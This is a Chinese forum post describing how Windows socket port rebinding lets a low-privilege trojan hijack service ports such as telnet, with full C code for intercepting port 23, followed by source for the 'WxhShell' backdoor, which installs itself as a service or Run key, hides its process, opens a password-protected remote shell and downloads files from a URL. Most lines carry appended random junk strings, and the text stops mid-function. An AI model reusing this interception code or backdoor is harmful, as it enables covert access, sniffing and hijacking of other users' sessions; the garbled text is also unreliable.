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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2=naPTP(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f{{J_""?&  
C!Fi &~  
  saddr.sin_family = AF_INET; Xp fw2;`U'  
Z[1|('   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _gl1Qtv@rf  
J!@R0U.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FY/F}C,o  
G P`sOPr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d8p5a C+E  
qGP}  
  这意味着什么?意味着可以进行如下的攻击: I(Vg  
j%8 1q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m'uFj !  
7{NH;U t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C87 9eeJ  
@r\{iSg&g.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q/qig5Ou  
G"Hj$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :_o^oi7G  
oZi{v]4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U/h@Q\~U  
Qp>Z&LvC5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D|'[[=  
Xv 7noq|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BUyKiMW49  
mR8tW"Z2  
  #include 8K&=]:(  
  #include 3XNk*Y[5  
  #include }|Bs|$q  
  #include    :b;`.`@KL_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g3(LDqB'.  
  int main() ^^*Ia'9   
  { ZM [Z9/S8  
  WORD wVersionRequested; dKa2_|k'  
  DWORD ret; r5N H*\Q  
  WSADATA wsaData; }$(\,SzW  
  BOOL val; BW"24JhF"  
  SOCKADDR_IN saddr; x]t$Zb/Uxa  
  SOCKADDR_IN scaddr; 6S0Gjekr  
  int err; A!R'/m'VG  
  SOCKET s; J_9[ x mM  
  SOCKET sc; Xc L%0%`  
  int caddsize; mo&9=TaG  
  HANDLE mt; ]3 QW\k~  
  DWORD tid;   \=o0MR  
  wVersionRequested = MAKEWORD( 2, 2 ); {*K$gH$  
  err = WSAStartup( wVersionRequested, &wsaData ); #WAX&<m  
  if ( err != 0 ) { a TPq1u  
  printf("error!WSAStartup failed!\n"); v3<q_J'qT  
  return -1; ^Ww5@  
  } ! w;/J^  
  saddr.sin_family = AF_INET; [c v!YE  
   NB-%Tp*d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R{Cbp=3J  
y>^0q/=]?O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `Io#440;  
  saddr.sin_port = htons(23); h,,B"vPS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4b6)+*[O  
  { [ B*r{  
  printf("error!socket failed!\n"); [* @ +  
  return -1; uJ0Wb$%  
  } Z_[L5B]Gwd  
  val = TRUE; !-ZY_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #er% q:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^1_CS*  
  { [\  &2&  
  printf("error!setsockopt failed!\n"); nwIj?(8x  
  return -1; {.J<^V  
  } e&!8UYP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $xjfW/k?M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PX`xr1o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q8$;##hzt  
{uJ"%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F_4Et  
  { E0+~c1P-  
  ret=GetLastError(); W{~ y< `D  
  printf("error!bind failed!\n"); s^Xs*T@~h  
  return -1; t]?{"O1rC  
  } m7i(0jd +  
  listen(s,2); }{Ra5-PY  
  while(1) +[4y)y`  
  { kO$n0y5e  
  caddsize = sizeof(scaddr); ab]Q1kD  
  //接受连接请求 Tr;.O?@{t}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wc&D[M]-/  
  if(sc!=INVALID_SOCKET) O2"V'(  
  { ln8es{q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %,zHS?)l  
  if(mt==NULL) W_,7hvE?"H  
  { KL$>j/qT  
  printf("Thread Creat Failed!\n"); }w8yYI  
  break; zL'S5'<F|  
  } N>1d]DrQR  
  } [70 5[  
  CloseHandle(mt); 1/K1e$r  
  } $RUK<JN$6  
  closesocket(s); u! dx+vd  
  WSACleanup(); +@*>N;$  
  return 0; ]'$:Y   
  }   kp#XpcS  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nbv b_  
  { +wQ}ZP&  
  SOCKET ss = (SOCKET)lpParam; 2b-g`60<  
  SOCKET sc; u6| IKZ  
  unsigned char buf[4096]; k4E9=y?  
  SOCKADDR_IN saddr; ,s2C)bb-  
  long num; KVUub'k  
  DWORD val; $`lm]} {&  
  DWORD ret; dczSW ]%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]Tg@wMgI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {7;QZk(  
  saddr.sin_family = AF_INET; %5nEyZOq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %~,Fe7#p  
  saddr.sin_port = htons(23); Wu(^k25  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _x^rHADp  
  { M9m~ck  
  printf("error!socket failed!\n"); uh\Tf5  
  return -1; u|6-[I  
  } oJ`=ob4WDo  
  val = 100; ]'w5s dP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V`HnFAW  
  { kk4+>mk  
  ret = GetLastError(); zQ<;3+*  
  return -1; nHRk2l|  
  } 4jZB%tH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4^ U%` 1  
  { c]bG5  
  ret = GetLastError(); $Sa7N%D  
  return -1; 4=;j.=>0X  
  } fNfa.0 s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ajo IL  
  { oN%zpz;OR  
  printf("error!socket connect failed!\n"); ]cVDXLj$  
  closesocket(sc); \u))1zRd  
  closesocket(ss); &\b(  
  return -1; md!!$+a%|  
  } bf {_U%`  
  while(1) 9)o@d`*  
  { 5FF28C)>/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V>GJO(9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?mSZQF:d@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q1rEUbvCE  
  num = recv(ss,buf,4096,0); NL;sn"  
  if(num>0) hw*u.46  
  send(sc,buf,num,0); [Q J  
  else if(num==0) LZ.Xcy  
  break; A1`6+8}o;b  
  num = recv(sc,buf,4096,0); aw~h03R_Z  
  if(num>0) *::.Uo4O  
  send(ss,buf,num,0); kqxq'Aq)d  
  else if(num==0) AO|1m$xf  
  break; ^u1Nbo  
  } 8#- Nx]VM  
  closesocket(ss); uXLZ!LJo  
  closesocket(sc); X.[bgvm~C  
  return 0 ; cMnN} '  
  } _ qwf3Q@  
*N:0L,8  
*+2_!=4V  
========================================================== ` aF8|tc_  
|@yYM-;6  
下边附上一个代码,,WXhSHELL z!18Jh  
9=}[~V n  
========================================================== `h'=F(v(}  
[{Q$$aV1  
#include "stdafx.h" +"bi]^\z  
(E&M[hH+  
#include <stdio.h> ZbjUOlE02  
#include <string.h> ,J-|.ER->  
#include <windows.h> p]/[ji  
#include <winsock2.h> DHx&%]r;D  
#include <winsvc.h> $!y^t$u$@  
#include <urlmon.h> J YA>Q&  
hvNK"^\p  
#pragma comment (lib, "Ws2_32.lib") m%>}T 75C^  
#pragma comment (lib, "urlmon.lib") EltCtfm`  
,d&3IhYhD  
#define MAX_USER   100 // 最大客户端连接数 S<*IoZ?T  
#define BUF_SOCK   200 // sock buffer $`ptSR  
#define KEY_BUFF   255 // 输入 buffer "#-iD  
(Z[c7  
#define REBOOT     0   // 重启 |yzv o"3  
#define SHUTDOWN   1   // 关机 Il(o[Q>jJ3  
96QY0  
#define DEF_PORT   5000 // 监听端口 #62ThH~  
hsS&|7Pt  
#define REG_LEN     16   // 注册表键长度 b6sf1E  
#define SVC_LEN     80   // NT服务名长度 tcsb]/my  
gsM^Pu09ud  
// 从dll定义API |G$-5 7fk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 w{_+=T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fjl 9*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LL)t)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^blw\;LB  
DI2e%`$  
// wxhshell配置信息 ls!A'@J  
struct WSCFG { wVnmT94  
  int ws_port;         // 监听端口 T]tu#h{ a  
  char ws_passstr[REG_LEN]; // 口令 w?^[*_Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no c$L1aZo  
  char ws_regname[REG_LEN]; // 注册表键名 gO "G/  
  char ws_svcname[REG_LEN]; // 服务名 ^_DwuY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zv=pS (9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $x]/|u/9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "VSx?74q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ilHf5$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &z:bZH]DH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 92A9gY  
8wOscL f:  
}; <OKc?[  
ag47$9(  
// default Wxhshell configuration alHA&YC{K  
struct WSCFG wscfg={DEF_PORT, QT^b-~^  
    "xuhuanlingzhe", svl!"tMXl  
    1, 6o\uv  
    "Wxhshell", II.: k.D`  
    "Wxhshell", zNoFM/1Vb  
            "WxhShell Service", $qdynKK  
    "Wrsky Windows CmdShell Service", *?HoN;^  
    "Please Input Your Password: ", HF_8661g  
  1, ss-6b^  
  "http://www.wrsky.com/wxhshell.exe", eA-oqolY  
  "Wxhshell.exe" nK?S2/o#A  
    }; C~@m6K  
&Mudu/KTr  
// 消息定义模块 q Tdwi?j_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZAN~TG<n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >(.|oT\Tb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =#y;J(>~|  
char *msg_ws_ext="\n\rExit."; PQSmBTs.  
char *msg_ws_end="\n\rQuit."; KA?%1s(kJ  
char *msg_ws_boot="\n\rReboot..."; sCrP+K0D  
char *msg_ws_poff="\n\rShutdown..."; ,zHL8SiTX  
char *msg_ws_down="\n\rSave to "; tcv(<0  
V,d\Wkk/  
char *msg_ws_err="\n\rErr!"; {j]cL !Od  
char *msg_ws_ok="\n\rOK!"; @P75f5p}<  
4* >j:1  
char ExeFile[MAX_PATH]; 7_l Wr  
int nUser = 0; ]3f[v:JQ  
HANDLE handles[MAX_USER]; 3.BUWMD  
int OsIsNt; 7]T(=gg /  
")i)vXF'  
SERVICE_STATUS       serviceStatus; IjRUr\l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WH1 " HO  
GF% /q:9  
// 函数声明 uK"FopUJ4i  
int Install(void);  'F.P93  
int Uninstall(void); W4d32+V  
int DownloadFile(char *sURL, SOCKET wsh); Ti_G  
int Boot(int flag); L@6]~[JvP  
void HideProc(void); w->Y92q]  
int GetOsVer(void); , ftJw  
int Wxhshell(SOCKET wsl); "49dsKIOH  
void TalkWithClient(void *cs); {%9@{Q'T.s  
int CmdShell(SOCKET sock); #\Rxqh7  
int StartFromService(void); z`E=V  
int StartWxhshell(LPSTR lpCmdLine); K2xHXziQ  
: q%1Vi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tNzO1BK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HB5-B XBU  
g1[BrT,  
// 数据结构和表定义 !s1<)%Jt  
SERVICE_TABLE_ENTRY DispatchTable[] = Qr~!YPK\  
{ qwj7CIc(  
{wscfg.ws_svcname, NTServiceMain}, r1<*=Fs=>>  
{NULL, NULL} &Y=~j?~Xm  
}; ^$lZ  
$u~ui@kB  
// 自我安装 Q> y!  
int Install(void) ROQ]sQpk  
{ {._'Q[  
  char svExeFile[MAX_PATH]; _%D7D~2r|  
  HKEY key; e8xq`:4Y  
  strcpy(svExeFile,ExeFile); [[AO6.Z  
B47I?~{  
// 如果是win9x系统,修改注册表设为自启动 l_:P |  
if(!OsIsNt) { Nr>UZlU8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L{F]uz_[x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jwE=  
  RegCloseKey(key); <Y}m/-sD5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zE$HHY2ovi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !P EKMDh  
  RegCloseKey(key); FauASu,A  
  return 0; s a o&  
    } h>GbJ/^  
  } :AztHf?X  
} ~<VxtcEBz  
else { i]k)wr(  
/}U)|6- B  
// 如果是NT以上系统,安装为系统服务 eQ/w Mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #n|5ng|CJ  
if (schSCManager!=0) =oL:|$Pj  
{ PL$XXj>|:  
  SC_HANDLE schService = CreateService 8HBwcXYoHh  
  ( ^"?a)KC  
  schSCManager, {q8|/{;  
  wscfg.ws_svcname, :+jg311}  
  wscfg.ws_svcdisp, `&q+ f+z  
  SERVICE_ALL_ACCESS, {u1|`=;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , > VIFQ\  
  SERVICE_AUTO_START, 2ak]&ll+h  
  SERVICE_ERROR_NORMAL, k $^/$N  
  svExeFile, TU~y;:OJ  
  NULL, mp$IhJ6#  
  NULL, `Pj7:[."[  
  NULL, er3~gm  
  NULL, ^lV}![do!  
  NULL A9BoH[is7  
  ); qfJ2iE|o2.  
  if (schService!=0) dyn)KDS  
  { ~%>i lWaHB  
  CloseServiceHandle(schService); *'8q?R?7g  
  CloseServiceHandle(schSCManager); dNt^lx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Vz)!M  
  strcat(svExeFile,wscfg.ws_svcname); ms}o[Z@n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \X*y~)+K`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A ~vx,|I  
  RegCloseKey(key); @PNgqjd  
  return 0; C;JW \J~W  
    } =T2SJ)  
  } 9;7"S.7AV  
  CloseServiceHandle(schSCManager); @B >D>B  
} 7_s+7x =  
} S5>ztK.e  
sd%)g<t  
return 1; {z 5YJ*C  
} J{\Uw].|0  
>Df; 1:U  
// 自我卸载 ]m 3cm  
int Uninstall(void) ]h`*w  
{ 18F}3t??  
  HKEY key; 8o|C43Q_  
;AOLbmb)H4  
if(!OsIsNt) { =bD.5,F)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uNuFD|aQ.  
  RegDeleteValue(key,wscfg.ws_regname); T=-UcF  
  RegCloseKey(key); y-.{){uaD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |-S!)iG1V  
  RegDeleteValue(key,wscfg.ws_regname); *> nOL  
  RegCloseKey(key); bskoi;)u  
  return 0; 5<PNl~0  
  } Sq,>^|v4&e  
} --l UEo~  
} vJ&D>Vh4e  
else { xOShO"4Z   
xP_%d,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }W 5ks-L6  
if (schSCManager!=0) u5Z yOZ;  
{ ~3gazTe9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ghB&wOm/  
  if (schService!=0) 6ZHeAb]"  
  { 3^wHL:u  
  if(DeleteService(schService)!=0) { !6X6_ +}M  
  CloseServiceHandle(schService); P/ 6$TgQ  
  CloseServiceHandle(schSCManager); v?]a tb/h`  
  return 0; ^TZmc{i  
  } dcmf~+T  
  CloseServiceHandle(schService); =6ru%.8U,  
  } 1gBLJ0q  
  CloseServiceHandle(schSCManager); em,1Yn?  
} d*Mqs}8  
} fNAW4I I}  
$[`rY D/.  
return 1; F%p DF\  
} ["&{^  
}Em{?Hqy  
// 从指定url下载文件 aG;F=e  
int DownloadFile(char *sURL, SOCKET wsh) H:hM(m0?q  
{ D mi.@.  
  HRESULT hr; 7:LEf"vRZ  
char seps[]= "/"; xP>cQELot  
char *token; GNM>hQ)h:  
char *file; w]qM  
char myURL[MAX_PATH]; KZg2`8F   
char myFILE[MAX_PATH]; z0+JMZ/  
g9 ^\Q Yh!  
strcpy(myURL,sURL); S{l)hwlE  
  token=strtok(myURL,seps); Q.Nw#r+m  
  while(token!=NULL) :atd_6   
  { Iv 3O8 GU  
    file=token; ,h1\PT9ULY  
  token=strtok(NULL,seps); ,_YI:xie|c  
  } ZJWpb  
&'k(v(>n,  
GetCurrentDirectory(MAX_PATH,myFILE); B6&[_cht  
strcat(myFILE, "\\"); C@ q#s  
strcat(myFILE, file); [N~7PNdS  
  send(wsh,myFILE,strlen(myFILE),0); #'KM$l,P  
send(wsh,"...",3,0); `qmwAT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 L4\UT r  
  if(hr==S_OK) <?IDCOt ?  
return 0; !4+Die X  
else {G vGV  
return 1; lq53 xT  
&D[M<7T  
} 3,v/zcV  
m4OnRZYlw  
// 系统电源模块 -E6av|c,F  
int Boot(int flag) 53aJnxX  
{ tx[;& ;  
  HANDLE hToken; _I;hM  
  TOKEN_PRIVILEGES tkp; \,/ozfJ7dT  
rG~W=!bj  
  if(OsIsNt) { B=]L%~xL$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /2T  W?a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #y#TEw,  
    tkp.PrivilegeCount = 1; T2]8w1l&K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l]&A5tz3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3 $%#n*  
if(flag==REBOOT) { w)S 4Xi=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lct_6?  
  return 0; A3 TR'BFw-  
} 0B9FPpx?:  
else { .4E24FB[f?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nT=%3_.  
  return 0; \6a' p Q,  
} rU9")4sQ  
  } PO'K?hVS^w  
  else { lGp:rw`  
if(flag==REBOOT) { {~51h}>b#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?+=,t]`!m  
  return 0; CZ] Dm4  
} l[5** ?#  
else { <astIu Au  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z)xcxSo  
  return 0; : ^}!"4{  
} Y{e,I-"{  
} -tWxB GSa@  
:I";&7C  
return 1; mp sX4  
} 2l V`UIa  
,V]FAIJ  
// win9x进程隐藏模块 z"7?I$N Q  
void HideProc(void) 2Q(ZW@0  
{ :n~Mg{j3  
vxPr)"Vvz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tq}sedYhee  
  if ( hKernel != NULL ) w-)JCdS6Tb  
  { )cQ KR4x0^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yy/,I]F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fl4@5AVY  
    FreeLibrary(hKernel); a0JMLLa [I  
  } <w~$S0_  
 7Tr '<(A  
return; V+>RF  
} 2<0".5+I  
0[ "CP:u  
// 获取操作系统版本 zBTxM  
int GetOsVer(void) &-NGVPk81`  
{ ZI$P Qz2i  
  OSVERSIONINFO winfo; X0ugnQ6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S]fkA6v  
  GetVersionEx(&winfo); }3Ke  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VrT-6r'Y  
  return 1; U%1M?vT/  
  else $ta"Ug.z  
  return 0; h-Ks:pcR  
} 1n2Pr'|s  
Bf^K?:r"V  
// 客户端句柄模块 ''9K(p6  
int Wxhshell(SOCKET wsl) \Qnr0t@0  
{ 2|exY>`w  
  SOCKET wsh; mBrZ{hqS  
  struct sockaddr_in client; h8M}}   
  DWORD myID; /;q 3Q#  
;H%'K  
  while(nUser<MAX_USER) ,{iMF (Nj  
{ `3K."/N6c  
  int nSize=sizeof(client); I YptNR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kW%wt1",  
  if(wsh==INVALID_SOCKET) return 1; yoq-H+<  
P&c O2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yqu/_6wLx  
if(handles[nUser]==0) (NnE\2  
  closesocket(wsh); hP[/xe  
else ):=8w.yC  
  nUser++; fK@UlMC]7  
  } 2WKIO|'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tQxAZ0B^  
FDBNKQV  
  return 0; .gRb'  
} h>xB"E|.  
z:O:g?A  
// 关闭 socket b4KNIP7E  
void CloseIt(SOCKET wsh) 0lqh;/  
{ /NPx9cLW^  
closesocket(wsh); ZW;Re5?DJ  
nUser--; M!VW/vdywL  
ExitThread(0); <dS I"C<  
} ed/ "O gA  
=y?Aeqq\fl  
// 客户端请求句柄 0Iyb}  
void TalkWithClient(void *cs) '|tmmoY6a:  
{ Frx_aGLH1  
8&x&Ou$("V  
  SOCKET wsh=(SOCKET)cs; /^~)iTwH  
  char pwd[SVC_LEN]; y(C',Xn  
  char cmd[KEY_BUFF]; 44^jE{,9  
char chr[1]; ] :](xW%  
int i,j; qw|B-lT{:  
~:0U.v_V  
  while (nUser < MAX_USER) { *&_(kq z'1  
|U~\;m@  
if(wscfg.ws_passstr) { &u2m6 r>W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r5lPO*?Df  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fkqw #s(T  
  //ZeroMemory(pwd,KEY_BUFF); Aba%QQQ  
      i=0; yi-)4#YN  
  while(i<SVC_LEN) { "[_gRe*2  
!a%_A^t7  
  // 设置超时 JsX}PVuL  
  fd_set FdRead; (c3O> *M  
  struct timeval TimeOut; ,k:>Z&:  
  FD_ZERO(&FdRead); D#>d+X$  
  FD_SET(wsh,&FdRead); -Y"2c,~pH  
  TimeOut.tv_sec=8; gazX2P[D  
  TimeOut.tv_usec=0; _>t6]?*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ob)c0Pz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eY:jVYG(  
&]KA%Db2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~^3U@( :  
  pwd=chr[0]; BQgK<_  
  if(chr[0]==0xd || chr[0]==0xa) { M;.:YkrUH  
  pwd=0; 7Sycy#D  
  break; 0o@eE3^  
  } %NhZTmWm  
  i++; 0)vX  
    } 6D4u?P,  
`Z@qWB<  
  // 如果是非法用户,关闭 socket Jd|E 4h~(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <5|:QLqy  
} >/-Bg:  
,F|49i.K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %:-2P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6I5LZ^/G9  
NdI~1kemr  
while(1) { ~MK%^5y?  
kKVNE h Tp  
  ZeroMemory(cmd,KEY_BUFF); I^``x+a  
=^ x1: Ak  
      // 自动支持客户端 telnet标准   %$R]NL|  
  j=0; Uo:=-NNI  
  while(j<KEY_BUFF) { CY@#_z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FbD9G6h5  
  cmd[j]=chr[0]; lxLEYDGFS  
  if(chr[0]==0xa || chr[0]==0xd) { R{Me~L?  
  cmd[j]=0; ML1/1GK*i+  
  break; R8, g^N  
  } cEPqcy *  
  j++; 2B=BRVtSs  
    } QyEoWKu;  
 OJ# d  
  // 下载文件 e yByAT~W,  
  if(strstr(cmd,"http://")) { #ChF{mh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0ol*!@?  
  if(DownloadFile(cmd,wsh)) _/}/1/y$Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); io$fL_R=  
  else $viZ[Lu!m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]n4G]ybK%  
  } `Y<FR  
  else { mx0EEU*  
8/ CK(G  
    switch(cmd[0]) { 7Y1FFw |  
  @_"Z]Y ,D0  
  // 帮助 Dgz^s^fxU  
  case '?': { tNDv[IF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p}a0z?  
    break; v==/tr)  
  } CDG,l7  
  // 安装 N MH'4R  
  case 'i': { CGZ3-OW@E  
    if(Install()) YGCBDH%6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rn-CQ2{?  
    else 5oY^; )\/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K!|J/W  
    break; =D^R,Q  
    } J+Zp<Wu-  
  // 卸载 f;a55%3c  
  case 'r': { k4~2hD<|  
    if(Uninstall()) G@6F<L~$1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {} Zqaf  
    else ;v%f +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jw -3G3h  
    break; Ibu  5  
    } Sk%*Zo{|  
  // 显示 wxhshell 所在路径 6F3FcUL  
  case 'p': { p']oy;t  
    char svExeFile[MAX_PATH]; qbD[<T  
    strcpy(svExeFile,"\n\r"); te#Wv9x  
      strcat(svExeFile,ExeFile); 0{.[#!CSk  
        send(wsh,svExeFile,strlen(svExeFile),0); t|}}#Z!I[f  
    break; pn aSOyR  
    } /9@ VnM  
  // 重启 iiTt{ab\Y  
  case 'b': { / #D R|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sk~inIj-  
    if(Boot(REBOOT)) 63pd W/\j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2(Z(V7*  
    else { 7NQEnAl  
    closesocket(wsh); a/lTQj]A  
    ExitThread(0); %bgUU|CdA  
    } Kr@6m80E5  
    break; =$F<Ac;&  
